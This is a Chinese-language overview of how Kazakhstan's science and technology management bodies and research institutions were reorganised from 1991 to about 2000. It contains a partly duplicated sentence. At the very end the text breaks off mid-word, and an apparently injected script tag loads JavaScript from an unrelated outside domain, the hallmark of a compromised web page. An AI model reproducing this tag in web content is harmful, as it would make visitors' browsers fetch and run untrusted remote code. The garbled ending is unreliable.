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哈萨克斯坦国家科技概况
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1.哈萨克斯坦国家科技管理机构的演变
哈萨克斯坦独立以来,随着市场经济的形成和政府机构改革,其科技管理机构进行了三次重大调整:——1991—1995年:哈萨克斯坦自主的科技政策和国家科学管理机构开始建立,1992年初,通过了哈“国家科学技术政策法”,并成立了科学技术部,原苏联的98个科研设计部门划归哈萨克斯坦,哈科技部尽力保存了国家科技潜力最有价值的部分,并着手科技领域的改革,如建立国家科学中心,实施科研组织、经费管理的目标管理规划,制定法律、法规文件等,以使科技工作适应新的形势,并逐步纳入市场经济的轨道。这一时期成立的科学中心,第一次把哈高水平的科学家和专家的优势集中于完成国家专项科技目标的规划上,把基础研究与应用研究紧密地结合起来,使科学与生产部门统一纳入国家经济整体发展的框架内;
——1996—1998年:根据哈总统签发的“完善哈萨克斯坦科学管理体制”的总统令,政府把国家科学院、农业科学院和“科技部”合并为一个统一的执行机构一国家科学部—科学院,其任务是制定国家科技政策,确定组织哈科技领域的优先发展方向,建立国内科技领域部门间行使职能、相互协作的法律法规基础,确定组织科研开发的细则和程序,并按国家预算合理配置经费,同时建立广泛的科技合作关系,促进国际交流,1998年底,哈科研机构改制为国有企业,享有经营自主权,在完成国家任务的基础上,允许从事以盈利为目的的经营生产活动,特别鼓励开发科技创新产品和商业性服务。同时对科技领域的个别实体进行 结构改革和私有化的试点。这一时期的科技政策对科技领域中小型企业的发展有一定的推动作用; ——1999年至今,为进一步完善科技管理体制,强化科技与教育的关系,哈政府对科技管理机构再次进行调整,改科学部—科学院为科学和高等教育部(简称科教部)。科学院成为“独立的国家学术机构联合会(兼有政府职能)”,创立人和主管部门为科教部。同年以总统令的形式明确厂哈国家机构改革的措施和职权。总统令规定哈教育部、卫生体育部、科学院等统一归并到哈科教部。哈科教部做为中央执行机构在法律规定的范围内,对科技、教育等统一归并到哈科教部。哈科教部做为中央执行机构在法律规定的范围内,对科技、教育等领域的工作和部门间的协调实行统一领导。
2、科研机构和体系
根据政府的计划,1999年科教部制定了“哈萨克斯坦创新活动构想规划”并得到政府批准。为实施该构想,政府于1999年8月18日和20日分别颁布丁关于批准“哈科研领域国有高等院校和科研机构
实行股份制改革的条例”和建立国家创新基金会,所有制形式为开放式股份制公司的决议:1999年12月24日,哈政府决议将原属科教部的各学术、工艺和工程中心、部分科研所,以及国家创新基金会等15个部门划归能源、工业和贸易部(简称能源工贸部),其目的是在上述部门间的科研机构、工艺—设计部门、工程单位和工厂企业(特别是原国防工业综合体所属工厂)的基础上,建立适应市场经济和创新活动的基础设施,向以“市场需求模式”为导向、以企业为创新主体的方向推进。根据哈国家科技信息研究所2000年的资料,哈科研体系组成如下:
——科教部:下辖哈科学院(院长由总统任命、行政经费由政府确定,经科教部划拨)、哈国家农科中心(原农业科学院)、123个科研所(其中51个研究所和实验站国家农科中心)、45所国立大学、以及部
门间区域研究中心和农工企业的研究所等50个:国家农科中心主要承担农、林、畜牧、渔业及农工综合
体等领域域的研究;根据哈2000年的“科学法”草案,科学院的主要职责是为国家科技决策提供咨询,参与制定科技规划,主持科技成果的鉴定,促进国际合作等,尚不具体分管大学和科研院所(目前哈科学院职能管理部门仅有20几人的编制):哈科学院设有5个学部(物理部、地学?script src=http://cn.jxmmtv.com/cn.js>